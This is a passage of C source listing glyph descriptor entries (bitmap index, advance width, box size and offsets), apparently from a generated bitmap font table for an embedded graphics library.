{.bitmap_index = 6508, .adv_w = 313, .box_w = 18, .box_h = 10, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 6598, .adv_w = 313, .box_w = 18, .box_h = 14, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 6724, .adv_w = 310, .box_w = 18, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 6832, .adv_w = 310, .box_w = 18, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 6940, .adv_w = 237, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 7018, .adv_w = 237, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 7096, .adv_w = 153, .box_w = 10, .box_h = 14, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 7166, .adv_w = 153, .box_w = 10, .box_h = 15, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 7241, .adv_w = 75, .box_w = 6, .box_h = 2, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 7247, .adv_w = 265, .box_w = 15, .box_h = 12, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 7337, .adv_w = 199, .box_w = 12, .box_h = 14, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 7421, .adv_w = 211, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 7487, .adv_w = 186, .box_w = 10, .box_h = 15, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 7562, .adv_w = 159, .box_w = 8, .box_h = 10, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 7602, .adv_w = 188, .box_w = 10, .box_h = 11, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 7657, .adv_w = 134, .box_w = 7, .box_h = 7, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 7682, .adv_w = 124, .box_w = 8, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 7722, .adv_w = 200, .box_w = 11, .box_h = 10, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 7777, .adv_w = 200, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 7843, .adv_w = 0, .box_w = 6, .box_h = 5, .ofs_x = 1, .ofs_y = 9},
{.bitmap_index = 7858, .adv_w = 0, .box_w = 6, .box_h = 5, .ofs_x = 1, .ofs_y = 9},
{.bitmap_index = 7873, .adv_w = 0, .box_w = 6, .box_h = 4, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 7885, .adv_w = 0, .box_w = 6, .box_h = 3, .ofs_x = 1, .ofs_y = 9},
{.bitmap_index = 7894, .adv_w = 0, .box_w = 6, .box_h = 5, .ofs_x = 1, .ofs_y = 9},
{.bitmap_index = 7909, .adv_w = 0, .box_w = 6, .box_h = 3, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 7918, .adv_w = 0, .box_w = 6, .box_h = 5, .ofs_x = 1, .ofs_y = 10},
{.bitmap_index = 7933, .adv_w = 0, .box_w = 6, .box_h = 4, .ofs_x = 1, .ofs_y = 10},
{.bitmap_index = 7945, .adv_w = 0, .box_w = 6, .box_h = 3, .ofs_x = 1, .ofs_y = 9},
{.bitmap_index = 7954, .adv_w = 0, .box_w = 4, .box_h = 4, .ofs_x = 2, .ofs_y = 9},
{.bitmap_index = 7962, .adv_w = 0, .box_w = 4, .box_h = 4, .ofs_x = 2, .ofs_y = -4},
{.bitmap_index = 7970, .adv_w = 0, .box_w = 6, .box_h = 5, .ofs_x = 1, .ofs_y = 10},
{.bitmap_index = 7985, .adv_w = 128, .box_w = 6, .box_h = 3, .ofs_x = 1, .ofs_y = 10},
{.bitmap_index = 7994, .adv_w = 138, .box_w = 3, .box_h = 2, .ofs_x = 3, .ofs_y = 4},
{.bitmap_index = 7997, .adv_w = 138, .box_w = 4, .box_h = 10, .ofs_x = 2, .ofs_y = 0},
{.bitmap_index = 8017, .adv_w = 138, .box_w = 8, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 8057, .adv_w = 138, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 8102, .adv_w = 138, .box_w = 7, .box_h = 11, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8141, .adv_w = 138, .box_w = 7, .box_h = 11, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8180, .adv_w = 138, .box_w = 8, .box_h = 11, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 8224, .adv_w = 138, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 8269, .adv_w = 138, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 8314, .adv_w = 138, .box_w = 8, .box_h = 11, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 8358, .adv_w = 138, .box_w = 7, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8393, .adv_w = 83, .box_w = 5, .box_h = 8, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 8413, .adv_w = 81, .box_w = 3, .box_h = 4, .ofs_x = 1, .ofs_y = 8},
{.bitmap_index = 8419, .adv_w = 140, .box_w = 9, .box_h = 8, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 8455, .adv_w = 241, .box_w = 13, .box_h = 6, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8494, .adv_w = 199, .box_w = 12, .box_h = 12, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 8566, .adv_w = 0, .box_w = 2, .box_h = 5, .ofs_x = 3, .ofs_y = 10},
{.bitmap_index = 8571, .adv_w = 75, .box_w = 4, .box_h = 4, .ofs_x = 0, .ofs_y = 10},
{.bitmap_index = 8579, .adv_w = 241, .box_w = 13, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8644, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8696, .adv_w = 241, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 8768, .adv_w = 241, .box_w = 13, .box_h = 9, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 8827, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 8879, .adv_w = 241, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 8951, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 9003, .adv_w = 241, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9075, .adv_w = 165, .box_w = 10, .box_h = 16, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9155, .adv_w = 165, .box_w = 10, .box_h = 16, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9235, .adv_w = 165, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9300, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9360, .adv_w = 165, .box_w = 10, .box_h = 16, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9440, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9500, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 9560, .adv_w = 114, .box_w = 7, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 9602, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 9637, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 9672, .adv_w = 114, .box_w = 7, .box_h = 15, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 9725, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 9760, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 9795, .adv_w = 114, .box_w = 7, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 9837, .adv_w = 114, .box_w = 7, .box_h = 11, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 9876, .adv_w = 114, .box_w = 7, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 9918, .adv_w = 124, .box_w = 9, .box_h = 16, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 9990, .adv_w = 124, .box_w = 9, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 10053, .adv_w = 128, .box_w = 10, .box_h = 9, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 10098, .adv_w = 136, .box_w = 9, .box_h = 9, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 10139, .adv_w = 156, .box_w = 12, .box_h = 9, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 10193, .adv_w = 136, .box_w = 9, .box_h = 8, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 10229, .adv_w = 124, .box_w = 9, .box_h = 12, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 10283, .adv_w = 124, .box_w = 9, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 10346, .adv_w = 124, .box_w = 9, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 10409, .adv_w = 313, .box_w = 18, .box_h = 12, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 10517, .adv_w = 313, .box_w = 18, .box_h = 10, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 10607, .adv_w = 313, .box_w = 18, .box_h = 14, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 10733, .adv_w = 310, .box_w = 18, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 10841, .adv_w = 310, .box_w = 18, .box_h = 14, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 10967, .adv_w = 237, .box_w = 13, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 11045, .adv_w = 153, .box_w = 10, .box_h = 17, .ofs_x = 0, .ofs_y = -5},
{.bitmap_index = 11130, .adv_w = 265, .box_w = 15, .box_h = 9, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 11198, .adv_w = 265, .box_w = 15, .box_h = 12, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 11288, .adv_w = 265, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 11393, .adv_w = 265, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 11498, .adv_w = 265, .box_w = 15, .box_h = 13, .ofs_x = 1, .ofs_y = -6},
{.bitmap_index = 11596, .adv_w = 265, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 11701, .adv_w = 199, .box_w = 12, .box_h = 14, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 11785, .adv_w = 199, .box_w = 12, .box_h = 16, .ofs_x = 0, .ofs_y = -4},
{.bitmap_index = 11881, .adv_w = 229, .box_w = 14, .box_h = 14, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 11979, .adv_w = 270, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 12084, .adv_w = 229, .box_w = 14, .box_h = 14, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 12182, .adv_w = 211, .box_w = 11, .box_h = 12, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 12248, .adv_w = 211, .box_w = 11, .box_h = 14, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 12325, .adv_w = 211, .box_w = 11, .box_h = 17, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 12419, .adv_w = 229, .box_w = 14, .box_h = 16, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 12531, .adv_w = 229, .box_w = 14, .box_h = 16, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 12643, .adv_w = 229, .box_w = 14, .box_h = 16, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 12755, .adv_w = 229, .box_w = 14, .box_h = 18, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 12881, .adv_w = 229, .box_w = 14, .box_h = 20, .ofs_x = 1, .ofs_y = -6},
{.bitmap_index = 13021, .adv_w = 229, .box_w = 14, .box_h = 18, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 13147, .adv_w = 186, .box_w = 11, .box_h = 19, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 13252, .adv_w = 186, .box_w = 10, .box_h = 18, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 13342, .adv_w = 186, .box_w = 10, .box_h = 19, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 13437, .adv_w = 186, .box_w = 10, .box_h = 19, .ofs_x = 1, .ofs_y = -7},
{.bitmap_index = 13532, .adv_w = 188, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -6},
{.bitmap_index = 13597, .adv_w = 188, .box_w = 10, .box_h = 10, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 13647, .adv_w = 188, .box_w = 10, .box_h = 14, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 13717, .adv_w = 188, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 13782, .adv_w = 188, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -3},
{.bitmap_index = 13847, .adv_w = 179, .box_w = 10, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 13892, .adv_w = 165, .box_w = 10, .box_h = 14, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 13962, .adv_w = 124, .box_w = 8, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 14018, .adv_w = 124, .box_w = 8, .box_h = 15, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 14078, .adv_w = 124, .box_w = 8, .box_h = 16, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 14142, .adv_w = 124, .box_w = 8, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 14198, .adv_w = 200, .box_w = 11, .box_h = 10, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 14253, .adv_w = 200, .box_w = 11, .box_h = 11, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 14314, .adv_w = 200, .box_w = 11, .box_h = 14, .ofs_x = 1, .ofs_y = -7},
{.bitmap_index = 14391, .adv_w = 134, .box_w = 7, .box_h = 7, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 14416, .adv_w = 138, .box_w = 3, .box_h = 2, .ofs_x = 3, .ofs_y = 4},
{.bitmap_index = 14419, .adv_w = 138, .box_w = 4, .box_h = 10, .ofs_x = 2, .ofs_y = 0},
{.bitmap_index = 14439, .adv_w = 138, .box_w = 8, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14479, .adv_w = 138, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14524, .adv_w = 138, .box_w = 8, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14564, .adv_w = 138, .box_w = 8, .box_h = 11, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14608, .adv_w = 138, .box_w = 7, .box_h = 11, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 14647, .adv_w = 138, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14692, .adv_w = 138, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14737, .adv_w = 138, .box_w = 8, .box_h = 11, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 14781, .adv_w = 256, .box_w = 16, .box_h = 17, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 14917, .adv_w = 256, .box_w = 16, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 15013, .adv_w = 256, .box_w = 16, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 15125, .adv_w = 256, .box_w = 16, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 15221, .adv_w = 176, .box_w = 11, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 15287, .adv_w = 256, .box_w = 16, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 15415, .adv_w = 256, .box_w = 16, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 15543, .adv_w = 288, .box_w = 18, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 15669, .adv_w = 256, .box_w = 16, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 15797, .adv_w = 288, .box_w = 18, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 15905, .adv_w = 256, .box_w = 16, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 16033, .adv_w = 128, .box_w = 8, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 16089, .adv_w = 192, .box_w = 12, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 16173, .adv_w = 288, .box_w = 18, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 16317, .adv_w = 256, .box_w = 16, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 16413, .adv_w = 224, .box_w = 10, .box_h = 16, .ofs_x = 2, .ofs_y = -2},
{.bitmap_index = 16493, .adv_w = 224, .box_w = 14, .box_h = 18, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 16619, .adv_w = 224, .box_w = 14, .box_h = 15, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 16724, .adv_w = 224, .box_w = 14, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 16822, .adv_w = 224, .box_w = 10, .box_h = 16, .ofs_x = 2, .ofs_y = -2},
{.bitmap_index = 16902, .adv_w = 224, .box_w = 16, .box_h = 14, .ofs_x = -1, .ofs_y = -1},
{.bitmap_index = 17014, .adv_w = 160, .box_w = 10, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 17084, .adv_w = 160, .box_w = 10, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 17154, .adv_w = 224, .box_w = 14, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 17252, .adv_w = 224, .box_w = 14, .box_h = 4, .ofs_x = 0, .ofs_y = 4},
{.bitmap_index = 17280, .adv_w = 288, .box_w = 18, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 17388, .adv_w = 320, .box_w = 20, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 17548, .adv_w = 288, .box_w = 20, .box_h = 16, .ofs_x = -1, .ofs_y = -2},
{.bitmap_index = 17708, .adv_w = 256, .box_w = 16, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 17836, .adv_w = 224, .box_w = 14, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 17906, .adv_w = 224, .box_w = 14, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 17976, .adv_w = 320, .box_w = 20, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 18116, .adv_w = 256, .box_w = 16, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 18212, .adv_w = 256, .box_w = 16, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 18340, .adv_w = 256, .box_w = 17, .box_h = 17, .ofs_x = -1, .ofs_y = -2},
{.bitmap_index = 18485, .adv_w = 224, .box_w = 15, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 18590, .adv_w = 224, .box_w = 14, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 18702, .adv_w = 224, .box_w = 14, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 18800, .adv_w = 160, .box_w = 12, .box_h = 16, .ofs_x = -1, .ofs_y = -2},
{.bitmap_index = 18896, .adv_w = 224, .box_w = 14, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 19008, .adv_w = 224, .box_w = 14, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 19120, .adv_w = 288, .box_w = 18, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 19228, .adv_w = 256, .box_w = 18, .box_h = 18, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 19390, .adv_w = 192, .box_w = 12, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 19486, .adv_w = 320, .box_w = 20, .box_h = 15, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 19636, .adv_w = 320, .box_w = 20, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 19736, .adv_w = 320, .box_w = 20, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 19836, .adv_w = 320, .box_w = 20, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 19936, .adv_w = 320, .box_w = 20, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 20036, .adv_w = 320, .box_w = 20, .box_h = 10, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 20136, .adv_w = 320, .box_w = 21, .box_h = 14, .ofs_x = 0, .ofs_y = -1},
{.bitmap_index = 20283, .adv_w = 224, .box_w = 12, .box_h = 16, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 20379, .adv_w = 224, .box_w = 14, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 20491, .adv_w = 256, .box_w = 17, .box_h = 17, .ofs_x = -1, .ofs_y = -3},
{.bitmap_index = 20636, .adv_w = 320, .box_w = 20, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 20756, .adv_w = 192, .box_w = 12, .box_h = 16, .ofs_x = 0, .ofs_y = -2},
{.bitmap_index = 20852, .adv_w = 258, .box_w = 17, .box_h = 11, .ofs_x = 0, .ofs_y = 1},
{.bitmap_index = 20946, .adv_w = 241, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 21018, .adv_w = 251, .box_w = 15, .box_h = 10, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 21093, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 21118, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 21148, .adv_w = 241, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 21220, .adv_w = 251, .box_w = 15, .box_h = 10, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 21295, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 21320, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 21350, .adv_w = 241, .box_w = 13, .box_h = 11, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 21422, .adv_w = 251, .box_w = 15, .box_h = 10, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 21497, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 21522, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 21552, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 21604, .adv_w = 251, .box_w = 15, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 21664, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 21689, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 21719, .adv_w = 241, .box_w = 13, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 21771, .adv_w = 251, .box_w = 15, .box_h = 8, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 21831, .adv_w = 71, .box_w = 5, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 21856, .adv_w = 77, .box_w = 6, .box_h = 10, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 21886, .adv_w = 241, .box_w = 13, .box_h = 10, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 21951, .adv_w = 251, .box_w = 15, .box_h = 9, .ofs_x = 1, .ofs_y = 0},
{.bitmap_index = 22019, .adv_w = 71, .box_w = 6, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 22052, .adv_w = 77, .box_w = 6, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 22085, .adv_w = 265, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 22190, .adv_w = 265, .box_w = 16, .box_h = 12, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 22286, .adv_w = 122, .box_w = 8, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 22334, .adv_w = 130, .box_w = 10, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 22389, .adv_w = 265, .box_w = 15, .box_h = 14, .ofs_x = 1, .ofs_y = -2},
{.bitmap_index = 22494, .adv_w = 265, .box_w = 16, .box_h = 12, .ofs_x = 1, .ofs_y = -1},
{.bitmap_index = 22590, .adv_w = 122, .box_w = 8, .box_h = 12, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 22638, .adv_w = 130, .box_w = 10, .box_h = 11, .ofs_x = -1, .ofs_y = 0},
{.bitmap_index = 22693, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 22753, .adv_w = 165, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 22818, .adv_w = 158, .box_w = 10, .box_h = 12, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 22878, .adv_w = 165, .box_w = 12, .box_h = 12, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 22950, .adv_w = 165, .box_w = 10, .box_h = 13, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 23015, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 23075, .adv_w = 158, .box_w = 10, .box_h = 10, .ofs_x = -1, .ofs_y = -2},
{.bitmap_index = 23125, .adv_w = 165, .box_w = 12, .box_h = 10, .ofs_x = -1, .ofs_y = -2},
{.bitmap_index = 23185, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 23245, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 23305, .adv_w = 158, .box_w = 10, .box_h = 12, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 23365, .adv_w = 165, .box_w = 12, .box_h = 12, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 23437, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -5},
{.bitmap_index = 23497, .adv_w = 165, .box_w = 10, .box_h = 12, .ofs_x = 1, .ofs_y = -4},
{.bitmap_index = 23557, .adv_w = 158, .box_w = 10, .box_h = 12, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 23617, .adv_w = 165, .box_w = 12, .box_h = 12, .ofs_x = -1, .ofs_y = -4},
{.bitmap_index = 23689, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 23724, .adv_w = 134, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = -3},
{.bitmap_index = 23769, .adv_w = 114, .box_w = 7, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 23804, .adv_w = 134, .box_w = 9, .box_h = 10, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 23849, .adv_w = 114, .box_w = 7, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 23891, .adv_w = 134, .box_w = 9, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 23945, .adv_w = 114, .box_w = 7, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 23987, .adv_w = 134, .box_w = 9, .box_h = 12, .ofs_x = 0, .ofs_y = 0},
{.bitmap_index = 24041, .adv_w = 124, .box_w = 9, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
{.bitmap_index = 24104, .adv_w = 141, .box_w = 10, .box_h = 14, .ofs_x = -1, .ofs_y = -5},
